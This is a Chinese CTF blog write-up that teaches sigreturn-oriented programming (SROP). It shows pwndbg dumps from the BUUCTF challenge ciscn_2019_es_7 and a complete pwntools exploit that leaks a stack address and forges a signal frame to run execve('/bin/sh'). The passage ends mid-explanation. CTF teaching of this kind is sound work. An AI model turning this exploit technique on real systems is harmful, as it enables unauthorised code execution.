+cyClEuHodSHxkHtmJx%0A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%0AbczbYHndfuxMlAJSi5puAxEREREREdG9IZ73Wk+MXZGfOFv+rBgGyNpWDwAc%0AsIQgNgGRXeBiFx7Zhw2W16qHOyKFQMb4/vihYp+y2hVP/G1DC0fhjuLrxpot%0A/ZvrqtaudgM8E0uf0n9l2+eMvCZjuKSwH+3GoJp6uJ+VjlFHx5H82DcGRfJt%0Ashc8FPHm7TG1tVu34vZJNdqv13a/uFyvI+ZtrLa9sjpsl5mOnarxMLIbIwtH%0AY+WIebyq9aNIqQ7ZfrAbO+PrDmtR2r9mNaqJiIiIiIiI6N6xm4Hn4OTcjnSC%0A7Cygk15TE+DJ+6liExDZBS7yZTaBjZx5uRQoKIQUs+3DD4UT/eo1m/ZLVf8O%0Awgrj++xel16Ljze3t7yv2vvttrNW2PapuK/Nqi8zb69xH5jCE5t9Vo0sEKmH%0A+7l6HaZtDg4WX7dr72w/Vmf3eZLqkfenuH3SumX700jd59L0mXB9HFXbXnkd%0Asj8r7WebMYoXx7lqvJyw2bdmKms1MY2HcoBnv6/Mr1er20Jp/5rZj4+Rad3W%0A7XHwXiIiIiIiIqK76D7bQENdUCAPMaqHH6bXlJfbnwzbkU661QZ4Nsz9Wk7a%0AzeFevFhD1Um8UlhiPGG3q8HIuk5TSGBiE8SY+5K2z/K6sW21IEis137d1Wqx%0A285aYdunfDuUyEMp45hJrzsMXpyEGPVwP9seo+aAyvJ3Y+22dcr3lcP9alxv%0A9c+Tzboc7hdl8n5M77UbB8VQTNpmhRrs+q7aT5bxVehLcYws/dkfK9X2vR3F%0AWh2pvg0SYz0K66j2unFd1trtVfXroibTfnNy7BMRERERERHdJfdZb7gvkc2u%0AsWMfWtxegGdL3k8VS4Bg/Ltd4GKzTGKtt6ofcyhif7JvfN1BHa7ZBTHmcMI4%0Ay6xq/ykHJca67MKM6vtEOVi6M7Z9Ku5rM5tl5hAjPt7BuFUbAzv1cD9b25n6%0Arla/1K/5ffb7UXG/VtVRPcCz2T929ZpINdjvXwf92LdTDKCU95fNNtrUofCZ%0AsmFXi+I6TW2U329hqst5G4vq2yCR9n31/ef4dROl/Stf5rgm435zduwTERER%0AERER3SX32Z7oKgQFCuShhemk1nTCL2ez3D4QMVMMP2wCIumEWhYOyJcZ/yyu%0AS9a3pRal+i11GE/uze+Rr9/6Z6XwwW6/GMMT5XXLX1sXb65VISCxrVG2nTbb%0Afyds951xu6X6HJDvB6k2h+Pmor76uJ+r+hTZtpcx9y2FifKa5dtm39blDDxF%0AUo0qxt+4b+zaGbfJPkyT+nOyXQqMYyf/XrBZl902HUg1z5q17r9q73fA2E7N%0AtjrYBkfrcb5+5/vXdCwoL3e2jIiIiIiIiOjuuYb/B0Tf3fK2210FAAAAAElF%0ATkSuQmCC">
<meta property="article:published_time" content="2021-04-13T11:57:27.000Z">
<meta property="article:modified_time" content="2021-04-14T16:05:24.943Z">
<meta property="article:author" content="H.R.P">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://p2.ssl.qhimg.com/t0119acc683e38c6a02.png">

<link rel="canonical" href="https://jue-xian.gitee.io/diazang/2021/04/13/srop%E5%9F%BA%E6%9C%AC/">


<script id="page-configurations">
  // https://hexo.io/docs/variables.html
  CONFIG.page = {
    sidebar: "",
    isHome : false,
    isPost : true,
    lang   : 'zh-CN'
  };
</script>

  <title>srop基本利用 | RUBIA</title>
  






  <noscript>
  <style>
  .use-motion .brand,
  .use-motion .menu-item,
  .sidebar-inner,
  .use-motion .post-block,
  .use-motion .pagination,
  .use-motion .comments,
  .use-motion .post-header,
  .use-motion .post-body,
  .use-motion .collection-header { opacity: initial; }

  .use-motion .site-title,
  .use-motion .site-subtitle {
    opacity: initial;
    top: initial;
  }

  .use-motion .logo-line-before i { left: initial; }
  .use-motion .logo-line-after i { right: initial; }
  </style>
</noscript>

<link rel="alternate" href="/diazang/atom.xml" title="RUBIA" type="application/atom+xml">
</head>

<body itemscope itemtype="http://schema.org/WebPage">
  <div class="container use-motion">
    <div class="headband"></div>

    <header class="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-container">
  <div class="site-nav-toggle">
    <div class="toggle" aria-label="切换导航栏">
      <span class="toggle-line toggle-line-first"></span>
      <span class="toggle-line toggle-line-middle"></span>
      <span class="toggle-line toggle-line-last"></span>
    </div>
  </div>

  <div class="site-meta">

    <a href="/diazang/" class="brand" rel="start">
      <span class="logo-line-before"><i></i></span>
      <h1 class="site-title">RUBIA</h1>
      <span class="logo-line-after"><i></i></span>
    </a>
  </div>

  <div class="site-nav-right">
    <div class="toggle popup-trigger">
        <i class="fa fa-search fa-fw fa-lg"></i>
    </div>
  </div>
</div>




<nav class="site-nav">
  <ul id="menu" class="main-menu menu">
        <li class="menu-item menu-item-home">

    <a href="/diazang/" rel="section"><i class="fa fa-home fa-fw"></i>首页</a>

  </li>
        <li class="menu-item menu-item-about">

    <a href="/diazang/about/" rel="section"><i class="fa fa-user fa-fw"></i>关于</a>

  </li>
        <li class="menu-item menu-item-tags">

    <a href="/diazang/tags/" rel="section"><i class="fa fa-tags fa-fw"></i>标签</a>

  </li>
        <li class="menu-item menu-item-categories">

    <a href="/diazang/categories/" rel="section"><i class="fa fa-th fa-fw"></i>分类</a>

  </li>
        <li class="menu-item menu-item-archives">

    <a href="/diazang/archives/" rel="section"><i class="fa fa-archive fa-fw"></i>归档</a>

  </li>
        <li class="menu-item menu-item-schedule">

    <a href="/diazang/schedule/" rel="section"><i class="fa fa-calendar fa-fw"></i>日程表</a>

  </li>
        <li class="menu-item menu-item-sitemap">

    <a href="/diazang/sitemap.xml" rel="section"><i class="fa fa-sitemap fa-fw"></i>站点地图</a>

  </li>
        <li class="menu-item menu-item-commonweal">

    <a href="/diazang/404/" rel="section"><i class="fa fa-heartbeat fa-fw"></i>公益 404</a>

  </li>
      <li class="menu-item menu-item-search">
        <a role="button" class="popup-trigger"><i class="fa fa-search fa-fw"></i>搜索
        </a>
      </li>
  </ul>
</nav>



  <div class="search-pop-overlay">
    <div class="popup search-popup">
        <div class="search-header">
  <span class="search-icon">
    <i class="fa fa-search"></i>
  </span>
  <div class="search-input-container">
    <input autocomplete="off" autocapitalize="off"
           placeholder="搜索..." spellcheck="false"
           type="search" class="search-input">
  </div>
  <span class="popup-btn-close">
    <i class="fa fa-times-circle"></i>
  </span>
</div>
<div id="search-result">
  <div id="no-result">
    <i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>
  </div>
</div>

    </div>
  </div>

</div>
    </header>

    


    <main class="main">
      <div class="main-inner">
        <div class="content-wrap">
          

          <div class="content post posts-expand">
            

    
  
  
  <article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
    <link itemprop="mainEntityOfPage" href="https://jue-xian.gitee.io/diazang/2021/04/13/srop%E5%9F%BA%E6%9C%AC/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="image" content="https://www.hualigs.cn/image/6015786be4309.jpg">
      <meta itemprop="name" content="H.R.P">
      <meta itemprop="description" content="">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="RUBIA">
    </span>
      <header class="post-header">
        <h1 class="post-title" itemprop="name headline">
          srop基本利用
        </h1>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="far fa-calendar"></i>
              </span>
              <span class="post-meta-item-text">发表于</span>

              <time title="创建时间：2021-04-13 19:57:27" itemprop="dateCreated datePublished" datetime="2021-04-13T19:57:27+08:00">2021-04-13</time>
            </span>
              <span class="post-meta-item">
                <span class="post-meta-item-icon">
                  <i class="far fa-calendar-check"></i>
                </span>
                <span class="post-meta-item-text">更新于</span>
                <time title="修改时间：2021-04-15 00:05:24" itemprop="dateModified" datetime="2021-04-15T00:05:24+08:00">2021-04-15</time>
              </span>

          
  
  <span class="post-meta-item">
    
      <span class="post-meta-item-icon">
        <i class="far fa-comment"></i>
      </span>
      <span class="post-meta-item-text">Valine：</span>
    
    <a title="valine" href="/diazang/2021/04/13/srop%E5%9F%BA%E6%9C%AC/#valine-comments" itemprop="discussionUrl">
      <span class="post-comments-count valine-comment-count" data-xid="/diazang/2021/04/13/srop%E5%9F%BA%E6%9C%AC/" itemprop="commentCount"></span>
    </a>
  </span>
  
  

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
        <p>上次讲到59号系统号调用是局限性比较大的</p>
<p>今天讲典型的</p>
<a id="more"></a>

<h2 id="srop概念"><a href="#srop概念" class="headerlink" title="srop概念"></a>srop概念</h2><p>参考链接</p>
<p><a target="_blank" rel="noopener" href="https://www.anquanke.com/post/id/217081">https://www.anquanke.com/post/id/217081</a></p>
<p><a target="_blank" rel="noopener" href="https://blog.csdn.net/mcmuyanga/article/details/112509274">https://blog.csdn.net/mcmuyanga/article/details/112509274</a></p>
<p><img src="https://p2.ssl.qhimg.com/t0119acc683e38c6a02.png"></p>
<p>如图所示，当内核向某个进程发起（deliver）一个signal，该进程会被暂时挂起（suspend），进入内核（1），然后内核为该进程保存相应的上下文，跳转到之前注册好的signal handler中处理相应signal（2），当signal handler返回之后（3），内核为该进程恢复之前保存的上下文，最后恢复进程的执行（4）。</p>
<p>在第二步的时候，内核会帮用户进程将其上下文保存在该进程的栈上，然后在栈顶填上一个地址rt_sigreturn，这个地址指向一段代码，在这段代码中会调用sigreturn系统调用。因此，当signal handler执行完之后，栈指针（stack pointer）就指向rt_sigreturn，所以，signal handler函数的最后一条ret指令会使得执行流跳转到这段sigreturn代码，被动地进行sigreturn系统调用。下图显示了栈上保存的用户进程上下文、signal相关信息，以及rt_sigreturn，我们将这段内存称为一个Signal Frame。</p>
<p><img src="https://img-blog.csdnimg.cn/20210112111211177.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L21jbXV5YW5nYQ==,size_16,color_FFFFFF,t_70"></p>
<p>在内核sigreturn系统调用处理函数中，会根据当前的栈指针指向的Signal Frame对进程上下文进行恢复，并返回用户态，从挂起点恢复执行。<br>Signal机制缺陷利用<br>首先，内核替用户进程将其上下文保存在Signal Frame中，然后，内核利用这个Signal Frame恢复用户进程的上下文，done！那么，问题来了：</p>
<p>第一、这个Signal Frame是被保存在用户进程的地址空间中的，是用户进程可读写的；</p>
<p>第二、内核并没有将保存的过程和恢复的过程进行一个比较，也就是说，在sigreturn这个系统调用的处理函数中，内核并没有判断当前的这个Signal Frame就是之前内核为用户进程保存的那个Signal Frame。</p>
<p>按照作者slides里面的说法，“kernel agnostic about signal handlers”既是一个优点，因为内核不需要花精力来记录其发起的signal，但是，这也是一个缺点，正因为内核对其的不可知性，使得恶意的用户进程可以对其进行伪造！</p>
<p>让我们先来假设一个攻击者可以控制用户进程的栈，那么它就可以伪造一个Signal Frame，如下图所示</p>
<p><img src="https://img-blog.csdnimg.cn/20210112130202757.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L21jbXV5YW5nYQ==,size_16,color_FFFFFF,t_70"></p>
<p>在这个伪造的Signal Frame中，将rax设置成59（即execve系统调用号），将rdi设置成字符串/bin/sh的地址（该字符串可以是攻击者写在栈上的），将rip设置成系统调用指令syscall的内存地址，最后，将rt_sigreturn手动设置成sigreturn系统调用的内存地址。那么，当这个伪造的sigreturn系统调用返回之后，相应的寄存器就被设置成了攻击者可以控制的值，在这个例子中，一旦sigreturn返回，就会去执行execve系统调用，打开一个shell。</p>
<h2 id="传参规则"><a href="#传参规则" class="headerlink" title="传参规则"></a>传参规则</h2><p><strong>一个参数用rdi（edi）传</strong><br><strong>两个参数用rdi、rsi（edi、rsi）传</strong><br><strong>三个参数用rdi、rsi、rdx（edi、esi、edx）传</strong><br><strong>四个参数用rdi、rsi、rdx、rcx（edi、esi、edx、ecx）传</strong><br><strong>五个参数用rdi、rsi、rdx、rcx、r8（edi、esi、edx、ecx、r8）传</strong><br><strong>六个参数用rdi、rsi、rdx、rcx、r8、r9（edi、esi、edx、ecx、r8、r9）传</strong></p>
<h2 id="具体攻击方式"><a href="#具体攻击方式" class="headerlink" title="具体攻击方式"></a>具体攻击方式</h2><p><strong>这是一个最简单的攻击。在这个攻击中，有4个前提条件：</strong><br><strong>第一，攻击者可以通过stack overflow等漏洞控制栈上的内容；</strong><br><strong>第二，需要知道栈的地址（比如需要知道自己构造的字符串/bin/sh的地址）；</strong><br><strong>第三，需要知道syscall指令在内存中的地址；</strong><br><strong>第四，需要知道sigreturn系统调用的内存地址。</strong></p>
<h2 id="例题"><a href="#例题" class="headerlink" title="例题"></a>例题</h2><p>来源buuctf  ciscn_2019_es_7</p>
<p>关键函数</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">signed</span> __int64 <span class="title">vuln</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">signed</span> __int64 v0; <span class="comment">// rax</span></span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">16</span>]; <span class="comment">// [rsp+0h] [rbp-10h] BYREF</span></span><br><span class="line"></span><br><span class="line">  v0 = sys_read(<span class="number">0</span>, buf, <span class="number">0x400</span>uLL);</span><br><span class="line">  <span class="keyword">return</span> sys_write(<span class="number">1u</span>, buf, <span class="number">0x30</span>uLL);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p>系统调用的读入和写出</p>
<p>读入0x400</p>
<p>输出0x30</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">char</span> buf[<span class="number">16</span>]; <span class="comment">// [rsp+0h] [rbp-10h] BYREF</span></span><br></pre></td></tr></table></figure>
<p>可以得知buf距离返回地址0x10</p>
<p>so会多泄露0x20的内容</p>
<p>满足条件<strong>第一，攻击者可以通过stack overflow等漏洞控制栈上的内容；</strong></p>
<p>然后我们去找栈上的/bin/sh</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">RAX  0x30</span><br><span class="line"> RBX  0x0</span><br><span class="line"> RCX  0x400519 (vuln+44) ◂— ret    </span><br><span class="line"> RDX  0x30</span><br><span class="line"> RDI  0x1</span><br><span class="line"> RSI  0x7fffffffdfe0 ◂— 0xa616861686168 &#x2F;* &#39;hahaha\n&#39; *&#x2F;</span><br><span class="line"> R8   0x7ffff7dced80 (initial) ◂— 0x0</span><br><span class="line"> R9   0x7ffff7dced80 (initial) ◂— 0x0</span><br><span class="line"> R10  0x3</span><br><span class="line"> R11  0x246</span><br><span class="line"> R12  0x4003e0 (_start) ◂— xor    ebp, ebp</span><br><span class="line"> R13  0x7fffffffe0f0 ◂— 0x1</span><br><span class="line"> R14  0x0</span><br><span class="line"> R15  0x0</span><br><span class="line"> RBP  0x7fffffffdff0 —▸ 0x7fffffffe010 —▸ 0x400540 (__libc_csu_init) ◂— push   r15</span><br><span class="line"> RSP  0x7fffffffdff8 —▸ 0x400536 (main+25) ◂— nop    </span><br><span class="line"> RIP  0x7fffffffe010 —▸ 0x400540 (__libc_csu_init) ◂— push   r15</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p>看见上面ris的指向了吗 变量栈地址</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"> &#x2F;8gx 0x7fffffffdfe0</span><br><span class="line">0x7fffffffdfe0:	0x000a616861686168	0x0000000000000000</span><br><span class="line">0x7fffffffdff0:	0x00007fffffffe010	0x0000000000400536</span><br><span class="line">0x7fffffffe000:	0x00007fffffffe0f8	0x0000000100000000</span><br><span class="line">0x7fffffffe010:	0x0000000000400540	0x00007ffff7a03bf7</span><br><span class="line">pwndbg&gt; hex(0x00007fffffffe0f8-0x7fffffffdfe0)</span><br><span class="line">+0000 0x000118  </span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p>因为我们可以从上面分析知道泄露0x20的内容 </p>
<p>那么从输入的栈地址+0x20 里面的内容就是泄露出来的地址</p>
<p>减去0x118就是我们的输入的栈地址咯</p>
<p>还有一种办法就是用info proc map 看内存映射</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">Mapped address spaces:</span><br><span class="line"></span><br><span class="line">          Start Addr           End Addr       Size     Offset objfile</span><br><span class="line">            0x400000           0x401000     0x1000        0x0 &#x2F;home&#x2F;q&#x2F;c7</span><br><span class="line">            0x600000           0x601000     0x1000        0x0 &#x2F;home&#x2F;q&#x2F;c7</span><br><span class="line">            0x601000           0x602000     0x1000     0x1000 &#x2F;home&#x2F;q&#x2F;c7</span><br><span class="line">      0x7ffff79e2000     0x7ffff7bc9000   0x1e7000        0x0 &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libc-2.27.so</span><br><span class="line">      0x7ffff7bc9000     0x7ffff7dc9000   0x200000   0x1e7000 &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libc-2.27.so</span><br><span class="line">      0x7ffff7dc9000     0x7ffff7dcd000     0x4000   0x1e7000 &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libc-2.27.so</span><br><span class="line">      0x7ffff7dcd000     0x7ffff7dcf000     0x2000   0x1eb000 &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;libc-2.27.so</span><br><span class="line">      0x7ffff7dcf000     0x7ffff7dd3000     0x4000        0x0 </span><br><span class="line">      0x7ffff7dd3000     0x7ffff7dfc000    0x29000        0x0 &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;ld-2.27.so</span><br><span class="line">      0x7ffff7fe1000     0x7ffff7fe3000     0x2000        0x0 </span><br><span class="line">      0x7ffff7ff8000     0x7ffff7ffb000     0x3000        0x0 [vvar]</span><br><span class="line">      0x7ffff7ffb000     0x7ffff7ffc000     0x1000        0x0 [vdso]</span><br><span class="line">      0x7ffff7ffc000     0x7ffff7ffd000     0x1000    0x29000 &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;ld-2.27.so</span><br><span class="line">      0x7ffff7ffd000     0x7ffff7ffe000     0x1000    0x2a000 &#x2F;lib&#x2F;x86_64-linux-gnu&#x2F;ld-2.27.so</span><br><span class="line">      0x7ffff7ffe000     0x7ffff7fff000     0x1000        0x0 </span><br><span class="line">      0x7ffffffde000     0x7ffffffff000    0x21000        0x0 [stack]</span><br><span class="line">  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">0x7ffffffde000     0x7ffffffff000    0x21000        0x0 [stack]</span><br></pre></td></tr></table></figure>
<p>从栈的内存里面查看用如下指令</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">find 0x7ffffffde000,0x7ffffffff000,&quot;hahaha&quot;</span><br></pre></td></tr></table></figure>
<p>会输出rsi上的地址</p>
<p>这个方法和第一种效果一样</p>
<p>可惜了我电脑跑不出就用第一种方法好了</p>
<p>这里还要提下</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">SigreturnFrame()</span><br></pre></td></tr></table></figure>
<p>这个函数是我们做题操作的核心</p>
<p>他可以对寄存器的值进行修改</p>
<p>我先上exp慢慢讲解</p>
<h2 id="exp"><a href="#exp" class="headerlink" title="exp"></a>exp</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line"><span class="comment">#context.arch=&#x27;amd64&#x27;</span></span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>,arch=<span class="string">&#x27;amd64&#x27;</span>,log_level=<span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#p=process(&quot;./c7&quot;)</span></span><br><span class="line">p=remote(<span class="string">&#x27;node3.buuoj.cn&#x27;</span>,<span class="number">26957</span>)</span><br><span class="line"></span><br><span class="line">syscall_ret=<span class="number">0x400517</span></span><br><span class="line">sigreturn_addr=<span class="number">0x4004da</span></span><br><span class="line">system_addr=<span class="number">0x4004E2</span>	</span><br><span class="line"></span><br><span class="line">rax=<span class="number">0x4004f1</span></span><br><span class="line">vuln=<span class="number">0x04004ed</span></span><br><span class="line"></span><br><span class="line">p.send(<span class="string">&quot;/bin/sh&quot;</span>+<span class="string">&quot;\x00&quot;</span>*<span class="number">9</span>+p64(vuln))</span><br><span class="line">p.recv(<span class="number">32</span>)</span><br><span class="line">stack_addr=u64(p.recv(<span class="number">8</span>))</span><br><span class="line">log.success(<span class="string">&quot;stack: &quot;</span>+<span class="built_in">hex</span>(stack_addr))</span><br><span class="line">p.recv(<span class="number">8</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#gdb.attach(p)</span></span><br><span class="line"></span><br><span class="line">sigframe = SigreturnFrame()</span><br><span class="line">sigframe.rax = constants.SYS_execve</span><br><span class="line">sigframe.rdi = stack_addr - <span class="number">0x118</span>  </span><br><span class="line">sigframe.rsi = <span class="number">0x0</span></span><br><span class="line">sigframe.rdx = <span class="number">0x0</span></span><br><span class="line">sigframe.rsp = stack_addr</span><br><span class="line">sigframe.rip = syscall_ret</span><br><span class="line"></span><br><span class="line">p.send(<span class="string">&quot;/bin/sh&quot;</span>+<span class="string">&quot;\x00&quot;</span>*(<span class="number">0x1</span>+<span class="number">0x8</span>)+p64(sigreturn_addr)+p64(syscall_ret)+<span class="built_in">str</span>(sigframe))</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">char buf[16]; &#x2F;&#x2F; [rsp+0h] [rbp-10h] BYREF</span><br></pre></td></tr></table></figure>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">p.send(<span class="string">&quot;/bin/sh&quot;</span>+<span class="string">&quot;\x00&quot;</span>*<span class="number">9</span>+p64(vuln))</span><br><span class="line">p.recv(<span class="number">32</span>)</span><br><span class="line">stack_addr=u64(p.recv(<span class="number">8</span>))</span><br><span class="line">log.success(<span class="string">&quot;stack: &quot;</span>+<span class="built_in">hex</span>(stack_addr))</span><br><span class="line">p.recv(<span class="number">8</span>)</span><br></pre></td></tr></table></figure>
<p>buf距离返回地址16个字符大小，我们传入任意16个字符再传入vuln函数地址</p>
<p>(这里为什么不加8到返回地址是因为我们不用跳出这个函数,再次传入vuln地址是为了</p>
